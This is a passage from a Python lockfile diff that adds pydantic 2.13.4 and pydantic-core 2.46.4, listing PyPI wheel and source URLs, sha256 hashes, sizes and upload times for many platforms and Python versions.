"sha256:c40756b57adaa8b1efeeced5c196f3f3b7c435f90e84ea7f443901bec8099ef6", size = 844775, upload-time = "2026-05-06T13:43:05.343Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/fd/7b/122376b1fd3c62c1ed9dc80c931ace4844b3c55407b6fb2d199377c9736f/pydantic-2.13.4-py3-none-any.whl", hash = "sha256:45a282cde31d808236fd7ea9d919b128653c8b38b393d1c4ab335c62924d9aba", size = 472262, upload-time = "2026-05-06T13:43:02.641Z" }, +] + +[[package]] +name = "pydantic-core" +version = "2.46.4" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/9d/56/921726b776ace8d8f5db44c4ef961006580d91dc52b803c489fafd1aa249/pydantic_core-2.46.4.tar.gz", hash = "sha256:62f875393d7f270851f20523dd2e29f082bcc82292d66db2b64ea71f64b6e1c1", size = 471464, upload-time = "2026-05-06T13:37:06.98Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e7/08/f1ba952f1c8ae5581c70fa9c6da89f247b83e3dd8c09c035d5d7931fc23d/pydantic_core-2.46.4-cp310-cp310-macosx_10_12_x86_64.whl", hash = "sha256:a396dcc17e5a0b164dbe026896245a4fa9ff402edca1dff0be3d53a517f74de4", size = 2113146, upload-time = "2026-05-06T13:37:36.537Z" }, + { url = "https://files.pythonhosted.org/packages/56/c6/65f646c7ff09bd257f660434adb45c4dfcbbcebcc030562fecf6f5bf887d/pydantic_core-2.46.4-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:da4b951fe36dc7c3a1ccb4e3cd1747c3542b8c9ceede8fc86cae054e764485f5", size = 1949769, upload-time = "2026-05-06T13:37:46.365Z" }, + { url = "https://files.pythonhosted.org/packages/64/ba/bfb1d928fd5b49e1258935ff104ae356e9fd89384a55bf9f847e9193ad40/pydantic_core-2.46.4-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bb63e0198ca18aad131c089b9204c23079c3afa95487e561f4c522d519e55aba", size = 1974958, upload-time = "2026-05-06T13:37:28.611Z" }, + { url = "https://files.pythonhosted.org/packages/4e/74/76223bfb117b64af743c9b6670d1364516f5c0604f96b48f3272f6af6cc6/pydantic_core-2.46.4-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:f47286a97f0bc9b8859519809077b91b2cefe4ae47fcbf5e466a009c1c5d742b", size = 2042118, upload-time = "2026-05-06T13:36:55.216Z" }, + { url = "https://files.pythonhosted.org/packages/cb/7b/848732968bc8f48f3187542f08358b9d842db564147b256669426ebb1652/pydantic_core-2.46.4-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:905a0ed8ea6f2d61c1738835f99b699348d7857379083e5fc497fa0c967a407c", size = 2222876, upload-time = "2026-05-06T13:38:25.455Z" }, + { url = "https://files.pythonhosted.org/packages/b5/2f/e90b63ee2e14bd8d3db8f705a6d75d64e6ee1b7c2c8833747ce706e1e0ce/pydantic_core-2.46.4-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:ea793e075b70290d89d8142074262885d3f7da19634845135751bd6344f73b50", size = 2286703, upload-time = "2026-05-06T13:37:53.304Z" }, + { url = "https://files.pythonhosted.org/packages/ba/1e/acc4d70f88a0a277e4a1fa77ebb985ceabaf900430f875bf9338e11c9420/pydantic_core-2.46.4-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:395aebd9183f9d112f569aeb5b2214d1a10a33bec8456447f7fbdfa51d38d4cd", size = 2092042, upload-time = "2026-05-06T13:38:46.981Z" }, + { url = "https://files.pythonhosted.org/packages/a9/da/0a422b57bf8504102bf3c4ccea9c41bab5a5cee6a54650acf8faf67f5a24/pydantic_core-2.46.4-cp310-cp310-manylinux_2_31_riscv64.whl", hash = "sha256:b078afbc25f3a1436c7a1d2cd3e322497ee99615ba97c563566fdf46aff1ee01", size = 2117231, upload-time = "2026-05-06T13:39:23.146Z" }, + { url = "https://files.pythonhosted.org/packages/bd/2a/2ac13c3af305843e23c5078c53d135656b3f05a2fd78cb7bbbb12e97b473/pydantic_core-2.46.4-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:f747929cf940cddb5b3668a390056ddd5ba2e5010615ea2dcf4f9c4f3ab8791d", size = 2168388, upload-time = "2026-05-06T13:40:08.06Z" }, + { url = "https://files.pythonhosted.org/packages/72/04/2beacf7e1607e93eefe4aed1b4709f079b905fb77530179d4f7c71745f22/pydantic_core-2.46.4-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:daa27d92c36f24388fe3ad306b174781c747627f134452e4f128ea00ce1fe8c4", size = 2184769, upload-time = "2026-05-06T13:38:13.901Z" }, + { url = "https://files.pythonhosted.org/packages/9e/29/d2b9fd9f539133548eaf622c06a4ce176cb46ac59f32d0359c4abc0de047/pydantic_core-2.46.4-cp310-cp310-musllinux_1_1_armv7l.whl", hash = "sha256:19e51f073cd3df251856a8a4189fbdf1de4012c3ebacfb1884f94f1eb406079f", size = 2319312, upload-time = "2026-05-06T13:39:08.24Z" }, + { url = "https://files.pythonhosted.org/packages/7c/af/0f7a5b85fec6075bea96e3ef9187de38fccced0de92c1e7feda8d5cc7bb9/pydantic_core-2.46.4-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:c1747f85cee84c26985853c6f3d9bd3e75da5212912443fa111c113b9c246f39", size = 2361817, upload-time = "2026-05-06T13:38:43.2Z" }, + { url = "https://files.pythonhosted.org/packages/25/a4/73363fec545fd3ec025490bdda2743c56d0dd5b6266b1a53bbe9e4265375/pydantic_core-2.46.4-cp310-cp310-win32.whl", hash = "sha256:2f84c03c8607173d16b5a854ec68a2f9079ae03237a54fb506d13af47e1d018d", size = 1987085, upload-time = "2026-05-06T13:39:25.497Z" }, + { url = "https://files.pythonhosted.org/packages/01/aa/62f082da2c91fac1c234bc9ee0066257ce83f0604abd72e4c9d5991f2d84/pydantic_core-2.46.4-cp310-cp310-win_amd64.whl", hash = "sha256:8358a950c8909158e3df31538a7e4edc2d7265a7c54b47f0864d9e5bae9dcebf", size = 2074311, upload-time = "2026-05-06T13:39:59.922Z" }, + { url = "https://files.pythonhosted.org/packages/5c/fa/6d7708d2cfc1a832acb6aeb0cd16e801902df8a0f583bb3b4b527fde022e/pydantic_core-2.46.4-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:0e96592440881c74a213e5ad528e2b24d3d4f940de2766bed9010ab1d9e51594", size = 2111872, upload-time = "2026-05-06T13:40:27.596Z" }, + { url = "https://files.pythonhosted.org/packages/ae/6f/aa064a3e74b5745afbdf250594f38e7ead05e2d651bcb35994b9417a0d4d/pydantic_core-2.46.4-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:e0d65b8c354be7fb5f720c3caa8bc940bc2d20ce749c8e06135f07f8ed95dd7c", size = 1948255, upload-time = "2026-05-06T13:39:12.574Z" }, + { url = "https://files.pythonhosted.org/packages/43/3a/41114a9f7569b84b4d84e7a018c57c56347dac30c0d4a872946ec4e36c46/pydantic_core-2.46.4-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7bfb192b3f4b9e8a89b6277b6ce787564f62cfd272055f6e685726b111dc7826", size = 1972827, upload-time = "2026-05-06T13:38:19.841Z" }, + { url = "https://files.pythonhosted.org/packages/ef/25/1ab42e8048fe551934d9884e8d64daa7e990ad386f310a15981aeb6a5b08/pydantic_core-2.46.4-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:9037063db01f09b09e237c282b6792bd4da634b5402c4e7f0c61effed7701a04", size = 2041051, upload-time = "2026-05-06T13:38:10.447Z" }, + { url = "https://files.pythonhosted.org/packages/94/c2/1a934597ddf08da410385b3b7aae91956a5a76c635effef456074fad7e88/pydantic_core-2.46.4-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:fc010ab034c8c7452522748bf937df58020d256ccae0874463d1f4d01758af8e", size = 2221314, upload-time = "2026-05-06T13:40:13.089Z" }, + { url = "https://files.pythonhosted.org/packages/02/6d/9e8ad178c9c4df27ad3c8f25d1fe2a7ab0d2ba0559fad4aee5d3d1f16771/pydantic_core-2.46.4-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:8c5dac79fa1614d1e06ca695109c6105923bd9c7d1d6c918d4e637b7e6b32fd3", size = 2285146, upload-time = "2026-05-06T13:38:59.224Z" }, + { url = "https://files.pythonhosted.org/packages/80/50/540cd3aeefc041beb111125c4bff779831a2111fc6b15a9138cda277d32c/pydantic_core-2.46.4-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f9fa868638bf362d3d138ea55829cefb3d5f4b0d7f142234382a15e2485dbec4", size = 2089685, upload-time = "2026-05-06T13:38:17.762Z" }, + { url = "https://files.pythonhosted.org/packages/6b/a4/b440ad35f05f6a38f89fa0f149accb3f0e02be94ca5e15f3c449a61b4bc9/pydantic_core-2.46.4-cp311-cp311-manylinux_2_31_riscv64.whl", hash = "sha256:17299feefe090f2caa5b8e37222bb5f663e4935a8bfa6931d4102e5df1a9f398", size = 2115420, upload-time = "2026-05-06T13:37:58.195Z" }, + { url = "https://files.pythonhosted.org/packages/99/61/de4f55db8dfd57bfdfa9a12ec90fe1b57c4f41062f7ca86f08586b3e0ac0/pydantic_core-2.46.4-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:4c63ebc82684aa89d9a3bcbd13d515b3be44250dc68dd3bd81526c1cb31286c3", size = 2165122, upload-time = "2026-05-06T13:37:01.167Z" }, + { url = "https://files.pythonhosted.org/packages/f7/52/7c529d7bdb2d1068bd52f51fe32572c8301f9a4febf1948f10639f1436f5/pydantic_core-2.46.4-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:aaa2a54443eff1950ba5ddc6b6ccda0d9c84a364276a62f969bdf2a390650848", size = 2182573, upload-time = "2026-05-06T13:38:45.04Z" }, + { url = "https://files.pythonhosted.org/packages/37/b3/7c40325848ba78247f2812dcf9c7274e38cd801820ca6dd9fe63bcfb0eb4/pydantic_core-2.46.4-cp311-cp311-musllinux_1_1_armv7l.whl", hash = "sha256:18e5ceec2ab67e6d5f1a9085e5a24c9c4e2ac4545730bfe668680bca05e555f3", size = 2317139, upload-time = "2026-05-06T13:37:15.539Z" }, + { url = "https://files.pythonhosted.org/packages/d9/37/f913f81a657c865b75da6c0dbed79876073c2a43b5bd9edbe8da785e4d49/pydantic_core-2.46.4-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:a0f62d0a58f4e7da165457e995725421e0064f2255d8eccebc49f41bbc23b109", size = 2360433, upload-time = "2026-05-06T13:37:30.099Z" }, + { url = "https://files.pythonhosted.org/packages/c4/67/6acaa1be2567f9256b056d8477158cac7240813956ce86e49deae8e173b4/pydantic_core-2.46.4-cp311-cp311-win32.whl", hash = "sha256:041bde0a48fd37cf71cab1c9d56d3e8625a3793fef1f7dd232b3ff37e978ecda", size = 1985513, upload-time = "2026-05-06T13:38:15.669Z" }, + { url = "https://files.pythonhosted.org/packages/aa/e6/c505f83dfeda9a2e5c995cfd872949e4d05e12f7feb3dca72f633daefa94/pydantic_core-2.46.4-cp311-cp311-win_amd64.whl", hash = "sha256:6f2eeda33a839975441c86a4119e1383c50b47faf0cbb5176985565c6bb02c33", size = 2071114, upload-time = "2026-05-06T13:40:35.416Z" }, + { url = "https://files.pythonhosted.org/packages/0f/da/7a263a96d965d9d0df5e8de8a475f33495451117035b09acb110288c381f/pydantic_core-2.46.4-cp311-cp311-win_arm64.whl", hash = "sha256:14f4c5d6db102bd796a627bbb3a17b4cf4574b9ae861d8b7c9a9661c6dd3362d", size = 2044298, upload-time = "2026-05-06T13:38:29.754Z" }, + { url = "https://files.pythonhosted.org/packages/ce/8c/af022f0af448d7747c5154288d46b5f2bc5f17366eaa0e23e9aa04d59f3b/pydantic_core-2.46.4-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:3245406455a5d98187ec35530fd772b1d799b26667980872c8d4614991e2c4a2", size = 2106158, upload-time = "2026-05-06T13:38:57.215Z" }, + { url = "https://files.pythonhosted.org/packages/19/95/6195171e385007300f0f5574592e467c568becce2d937a0b6804f218bc49/pydantic_core-2.46.4-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:962ccbab7b642487b1d8b7df90ef677e03134cf1fd8880bf698649b22a69371f", size = 1951724, upload-time = "2026-05-06T13:37:02.697Z" }, + { url = "https://files.pythonhosted.org/packages/8e/bc/f47d1ff9cbb1620e1b5b697eef06010035735f07820180e74178226b27b3/pydantic_core-2.46.4-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8233f2947cf85404441fd7e0085f53b10c93e0ee78611099b5c7237e36aacbf7", size = 1975742, upload-time = "2026-05-06T13:37:09.448Z" }, + { url = "https://files.pythonhosted.org/packages/5b/11/9b9a5b0306345664a2da6410877af6e8082481b5884b3ddd78d47c6013ce/pydantic_core-2.46.4-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:3a233125ac121aa3ffba9a2b59edfc4a985a76092dc8279586ab4b71390875e7", size = 2052418, upload-time = "2026-05-06T13:37:38.234Z" }, + { url = "https://files.pythonhosted.org/packages/f1/b7/a65fec226f5d78fc39f4a13c4cc0c768c22b113438f60c14adc9d2865038/pydantic_core-2.46.4-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5b712b53160b79a5850310b912a5ef8e57e56947c8ad690c227f5c9d7e561712", size = 2232274, upload-time = "2026-05-06T13:38:27.753Z" }, + { url = "https://files.pythonhosted.org/packages/68/f0/92039db98b907ef49269a8271f67db9cb78ae2fc68062ef7e4e77adb5f61/pydantic_core-2.46.4-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9401557acd873c3a7f3eb9383edef8ac4968f9510e340f4808d427e75667e7b4", size = 2309940, upload-time = "2026-05-06T13:38:05.353Z" }, + { url = "https://files.pythonhosted.org/packages/5f/97/2aab507d3d00ca626e8e57c1eac6a79e4e5fbcc63eb99733ff55d1717f65/pydantic_core-2.46.4-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:926c9541b14b12b1681dca8a0b75feb510b06c6341b70a8e500c2fdcff837cce", size = 2094516, upload-time = "2026-05-06T13:39:10.577Z" }, + { url = "https://files.pythonhosted.org/packages/22/37/a8aca44d40d737dde2bc05b3c6c07dff0de07ce6f82e9f3167aeaf4d5dea/pydantic_core-2.46.4-cp312-cp312-manylinux_2_31_riscv64.whl", hash = "sha256:56cb4851bcaf3d117eddcef4fe66afd750a50274b0da8e22be256d10e5611987", size = 2136854, upload-time = "2026-05-06T13:40:22.59Z" }, + { url = "https://files.pythonhosted.org/packages/24/99/fcef1b79238c06a8cbec70819ac722ba76e02bc8ada9b0fd66eba40da01b/pydantic_core-2.46.4-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:c68fcd102d71ea85c5b2dfac3f4f8476eff42a9e078fd5faefff6d145063536b", size = 2180306, upload-time = "2026-05-06T13:40:10.666Z" }, + { url = "https://files.pythonhosted.org/packages/ae/6c/fc44000918855b42779d007ae63b0532794739027b2f417321cddbc44f6a/pydantic_core-2.46.4-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:b2f69dec1725e79a012d920df1707de5caf7ed5e08f3be4435e25803efc47458", size = 2190044, upload-time = "2026-05-06T13:40:43.231Z" }, + { url = "https://files.pythonhosted.org/packages/6b/65/d9cadc9f1920d7a127ad2edba16c1db7916e59719285cd6c94600b0080ba/pydantic_core-2.46.4-cp312-cp312-musllinux_1_1_armv7l.whl", hash = "sha256:8d0820e8192167f80d88d64038e609c31452eeca865b4e1d9950a27a4609b00b", size = 2329133, upload-time = "2026-05-06T13:39:57.365Z" }, + { url = "https://files.pythonhosted.org/packages/d0/cf/c873d91679f3a30bcf5e7ac280ce5573483e72295307685120d0d5ad3416/pydantic_core-2.46.4-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:fbdb89b3e1c94a30cc5edfce477c6e6a5dc4d8f84665b455c27582f211a1c72c", size = 2374464, upload-time = "2026-05-06T13:38:06.976Z" }, + { url = "https://files.pythonhosted.org/packages/47/bd/6f2fc8188f31bf10590f1e98e7b306336161fac930a8c514cd7bd828c7dc/pydantic_core-2.46.4-cp312-cp312-win32.whl", hash = "sha256:9aa768456404a8bf48a4406685ac2bec8e72b62c69313734fa3b73cf33b3a894", size = 1974823, upload-time = "2026-05-06T13:40:47.985Z" }, + { url = "https://files.pythonhosted.org/packages/40/8c/985c1d41ea1107c2534abd9870e4ed5c8e7669b5c308297835c001e7a1c4/pydantic_core-2.46.4-cp312-cp312-win_amd64.whl", hash = "sha256:e9c26f834c65f5752f3f06cb08cb86a913ceb7274d0db6e267808a708b46bc89", size = 2072919, upload-time = "2026-05-06T13:39:21.153Z" }, + { url = "https://files.pythonhosted.org/packages/c4/ba/f463d006e0c47373ca7ec5e1a261c59dc01ef4d62b2657af925fb0deee3a/pydantic_core-2.46.4-cp312-cp312-win_arm64.whl", hash = "sha256:4fc73cb559bdb54b1134a706a2802a4cddd27a0633f5abb7e53056268751ac6a", size = 2027604, upload-time = "2026-05-06T13:39:03.753Z" }, + { url = "https://files.pythonhosted.org/packages/51/a2/5d30b469c5267a17b39dec53208222f76a8d351dfac4af661888c5aee77d/pydantic_core-2.46.4-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:5d5902252db0d3cedf8d4a1bc68f70eeb430f7e4c7104c8c476753519b423008", size = 2106306, upload-time = "2026-05-06T13:37:48.029Z" }, + { url = "https://files.pythonhosted.org/packages/c1/81/4fa520eaffa8bd7d1525e644cd6d39e7d60b1592bc5b516693c7340b50f1/pydantic_core-2.46.4-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:c94f0688e7b8d0a67abf40e57a7eaaecd17cc9586706a31b76c031f63df052b4", size = 1951906, upload-time = "2026-05-06T13:37:17.012Z" }, + { url = "https://files.pythonhosted.org/packages/03/d5/fd02da45b659668b05923b17ba3a0100a0a3d5541e3bd8fcc4ecb711309e/pydantic_core-2.46.4-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f027324c56cd5406ca49c124b0db10e56c69064fec039acc571c29020cc87c76", size = 1976802, upload-time = "2026-05-06T13:37:35.113Z" }, + { url = "https://files.pythonhosted.org/packages/21/f2/95727e1368be3d3ed485eaab7adbd7dda408f33f7a36e8b48e0144002b91/pydantic_core-2.46.4-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:e739fee756ba1010f8bcccb534252e85a35fe45ae92c295a06059ce58b74ccd3", size = 2052446, upload-time = "2026-05-06T13:37:12.313Z" }, + { url = "https://files.pythonhosted.org/packages/9c/86/5d99feea3f77c7234b8718075b23db11532773c1a0dbd9b9490215dc2eeb/pydantic_core-2.46.4-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:9d56801be94b86a9da183e5f3766e6310752b99ff647e38b09a9500d88e46e76", size = 2232757, upload-time = "2026-05-06T13:39:01.149Z" }, + { url = "https://files.pythonhosted.org/packages/d2/3a/508ac615935ef7588cf6d9e9b91309fdc2da751af865e02a9098de88258c/pydantic_core-2.46.4-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2412e734dcb48da14d4e4006b82b46b74f2518b8a26ee7e58c6844a6cd6d03c4", size = 2309275, upload-time = "2026-05-06T13:37:41.406Z" }, + { url = "https://files.pythonhosted.org/packages/07/f8/41db9de19d7987d6b04715a02b3b40aea467000275d9d758ffaa31af7d50/pydantic_core-2.46.4-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9551187363ffc0de2a00b2e47c25aeaeb1020b69b668762966df15fc5659dd5a", size = 2094467, upload-time = "2026-05-06T13:39:18.847Z" }, + { url = "https://files.pythonhosted.org/packages/2c/e2/f35033184cb11d0052daf4416e8e10a502ea2ac006fc4f459aee872727d1/pydantic_core-2.46.4-cp313-cp313-manylinux_2_31_riscv64.whl", hash = "sha256:0186750b482eefa11d7f435892b09c5c606193ef3375bcf94aa00ae6bfb66262", size = 2134417, upload-time = "2026-05-06T13:40:17.944Z" }, + { url = "https://files.pythonhosted.org/packages/7e/7b/6ceeb1cc90e193862f444ebe373d8fdf613f0a82572dde03fb10734c6c71/pydantic_core-2.46.4-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:5855698a4856556d86e8e6cd8434bc3ac0314ee8e12089ae0e143f64c6256e4e", size = 2179782, upload-time = "2026-05-06T13:40:32.618Z" }, + { url = "https://files.pythonhosted.org/packages/5a/f2/c8d7773ede6af08036423a00ae0ceffce266c3c52a096c435d68c896083f/pydantic_core-2.46.4-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:cbaf13819775b7f769bf4a1f066cb6df7a28d4480081a589828ef190226881cd", size = 2188782, upload-time = "2026-05-06T13:36:51.018Z" }, + { url = "https://files.pythonhosted.org/packages/59/31/0c864784e31f09f05cdd87606f08923b9c9e7f6e51dd27f20f62f975ce9f/pydantic_core-2.46.4-cp313-cp313-musllinux_1_1_armv7l.whl", hash = "sha256:633147d34cf4550417f12e2b1a0383973bdf5cdfde212cb09e9a581cf10820be", size = 2328334, upload-time = "2026-05-06T13:40:37.764Z" }, + { url = "https://files.pythonhosted.org/packages/c2/eb/4f6c8a41efa30baa755590f4141abf3a8c370fab610915733e74134a7270/pydantic_core-2.46.4-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:82cf5301172168103724d49a1444d3378cb20cdee30b116a1bd6031236298a5d", size = 2372986, upload-time = "2026-05-06T13:39:34.152Z" }, + { url = "https://files.pythonhosted.org/packages/5b/24/b375a480d53113860c299764bfe9f349a3dc9108b3adc0d7f0d786492ebf/pydantic_core-2.46.4-cp313-cp313-win32.whl", hash = "sha256:9fa8ae11da9e2b3126c6426f147e0fba88d96d65921799bb30c6abd1cb2c97fb", size = 1973693, upload-time = "2026-05-06T13:37:55.072Z" }, + { url = "https://files.pythonhosted.org/packages/7e/e8/cff247591966f2d22ec8c003cd7587e27b7ba7b81ab2fb888e3ab75dc285/pydantic_core-2.46.4-cp313-cp313-win_amd64.whl", hash = "sha256:6b3ace8194b0e5204818c92802dcdca7fc6d88aabbb799d7c795540d9cd6d292", size = 2071819, upload-time = "2026-05-06T13:38:49.139Z" }, + { url = "https://files.pythonhosted.org/packages/c6/1a/f4aee670d5670e9e148e0c82c7db98d780be566c6e6a97ee8035528ca0b3/pydantic_core-2.46.4-cp313-cp313-win_arm64.whl", hash = "sha256:184c081504d17f1c1066e430e117142b2c77d9448a97f7b65c6ac9fd9aee238d", size = 2027411, upload-time = "2026-05-06T13:40:45.796Z" }, + { url = "https://files.pythonhosted.org/packages/8d/74/228a26ddad29c6672b805d9fd78e8d251cd04004fa7eed0e622096cd0250/pydantic_core-2.46.4-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:428e04521a40150c85216fc8b85e8d39fece235a9cf5e383761238c7fa9b96fb", size = 2102079, upload-time = "2026-05-06T13:38:41.019Z" }, + { url = "https://files.pythonhosted.org/packages/ad/1f/8970b150a4b4365623ae00fc88603491f763c627311ae8031e3111356d6e/pydantic_core-2.46.4-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:23ace664830ee0bfe014a0c7bc248b1f7f25ed7ad103852c317624a1083af462", size = 1952179, upload-time = "2026-05-06T13:36:59.812Z" }, + { url = "https://files.pythonhosted.org/packages/95/30/5211a831ae054928054b2f79731661087a2bc5c01e825c672b3a4a8f1b3e/pydantic_core-2.46.4-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ce5c1d2a8b27468f433ca974829c44060b8097eedc39933e3c206a90ee49c4a9", size = 1978926, upload-time = "2026-05-06T13:37:39.933Z" }, + { url = "https://files.pythonhosted.org/packages/57/e9/689668733b1eb67adeef047db3c2e8788fcf65a7fd9c9e2b46b7744fe245/pydantic_core-2.46.4-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:7283d57845ecf5a163403eb0702dfc220cc4fbdd18919cb5ccea4f95ee1cdab4", size = 2046785, upload-time = "2026-05-06T13:38:01.995Z" }, + { url = "https://files.pythonhosted.org/packages/60/d9/6715260422ff50a2109878fd24d948a6c3446bb2664f34ee78cd972b3acd/pydantic_core-2.46.4-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:8daafc69c93ee8a0204506a3b6b30f586ef54028f52aeeeb5c4cfc5184fd5914", size = 2228733, upload-time = "2026-05-06T13:40:50.371Z" }, + { url = "https://files.pythonhosted.org/packages/18/ae/fdb2f64316afca925640f8e70bb1a564b0ec2721c1389e25b8eb4bf9a299/pydantic_core-2.46.4-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:cd2213145bcc2ba85884d0ac63d222fece9209678f77b9b4d76f054c561adb28", size = 2307534, upload-time = "2026-05-06T13:37:21.531Z" }, + { url = "https://files.pythonhosted.org/packages/89/1d/8eff589b45bb8190a9d12c49cfad0f176a5cbd1534908a6b5125e2886239/pydantic_core-2.46.4-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7a5f930472650a82629163023e630d160863fce524c616f4e5186e5de9d9a49b", size = 2099732, upload-time = "2026-05-06T13:39:31.942Z" }, + { url = "https://files.pythonhosted.org/packages/06/d5/ee5a3366637fee41dee51a1fc91562dcf12ddbc68fda34e6b253da2324bb/pydantic_core-2.46.4-cp314-cp314-manylinux_2_31_riscv64.whl", hash = "sha256:c1b3f518abeca3aa13c712fd202306e145abf59a18b094a6bafb2d2bbf59192c", size = 2129627, upload-time = "2026-05-06T13:37:25.033Z" }, + { url = "https://files.pythonhosted.org/packages/94/33/2414be571d2c6a6c4d08be21f9292b6d3fdb08949a97b6dfe985017821db/pydantic_core-2.46.4-cp314-cp314-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:1a7dd0b3ee80d90150e3495a3a13ac34dbcbfd4f012996a6a1d8900e91b5c0fb", size = 2179141, upload-time = "2026-05-06T13:37:14.046Z" }, + { url = "https://files.pythonhosted.org/packages/7b/79/7daa95be995be0eecc4cf75064cb33f9bbbfe3fe0158caf2f0d4a996a5c7/pydantic_core-2.46.4-cp314-cp314-musllinux_1_1_aarch64.whl", hash = "sha256:3fb702cd90b0446a3a1c5e470bfa0dd23c0233b676a9099ddcc964fa6ca13898", size = 2184325, upload-time = "2026-05-06T13:36:53.615Z" }, + { url = "https://files.pythonhosted.org/packages/9f/cb/d0a382f5c0de8a222dc61c65348e0ce831b1f68e0a018450d31c2cace3a5/pydantic_core-2.46.4-cp314-cp314-musllinux_1_1_armv7l.whl", hash = "sha256:b8458003118a712e66286df6a707db01c52c0f52f7db8e4a38f0da1d3b94fc4e", size = 2323990, upload-time = "2026-05-06T13:40:29.971Z" }, + { url = "https://files.pythonhosted.org/packages/05/db/d9ba624cc4a5aced1598e88c04fdbd8310c8a69b9d38b9a3d39ce3a61ed7/pydantic_core-2.46.4-cp314-cp314-musllinux_1_1_x86_64.whl", hash = "sha256:372429a130e469c9cd698925ce5fc50940b7a1336b0d82038e63d5bbc4edc519", size = 2369978, upload-time = "2026-05-06T13:37:23.027Z" }, + { url = "https://files.pythonhosted.org/packages/f2/20/d15df15ba918c423461905802bfd2981c3af0bfa0e40d05e13edbfa48bc3/pydantic_core-2.46.4-cp314-cp314-win32.whl", hash = "sha256:85bb3611ff1802f3ee7fdd7dbff26b56f343fb432d57a4728fdd49b6ef35e2f4", size = 1966354, upload-time = "2026-05-06T13:38:03.499Z" }, + { url = "https://files.pythonhosted.org/packages/fc/b6/6b8de4c0a7d7ab3004c439c80c5c1e0a3e8d78bbae19379b01960383d9e5/pydantic_core-2.46.4-cp314-cp314-win_amd64.whl", hash = "sha256:811ff8e9c313ab425368bcbb36e5c4ebd7108c2bbf4e4089cfbb0b01eff63fac", size = 2072238, upload-time = "2026-05-06T13:39:40.807Z" }, + { url = "https://files.pythonhosted.org/packages/32/36/51eb763beec1f4cf59b1db243a7dcc39cbb41230f050a09b9d69faaf0a48/pydantic_core-2.46.4-cp314-cp314-win_arm64.whl", hash = "sha256:bfec22eab3c8cc2ceec0248aec886624116dc079afa027ecc8ad4a7e62010f8a", size = 2018251, upload-time = "2026-05-06T13:37:26.72Z" }, + { url = "https://files.pythonhosted.org/packages/e8/91/855af51d625b23aa987116a19e231d2aaef9c4a415273ddc189b79a45fee/pydantic_core-2.46.4-cp314-cp314t-macosx_10_12_x86_64.whl", hash = "sha256:af8244b2bef6aaad6d92cda81372de7f8c8d36c9f0c3ea36e827c60e7d9467a0", size = 2099593, upload-time = "2026-05-06T13:39:47.682Z" }, + { url = "https://files.pythonhosted.org/packages/fb/1b/8784a54c65edb5f49f0a14d6977cf1b209bba85a4c77445b255c2de58ab3/pydantic_core-2.46.4-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:5a4330cdbc57162e4b3aa303f588ba752257694c9c9be3e7ebb11b4aca659b5d", size = 1935226, upload-time = "2026-05-06T13:40:40.428Z" }, + { url = 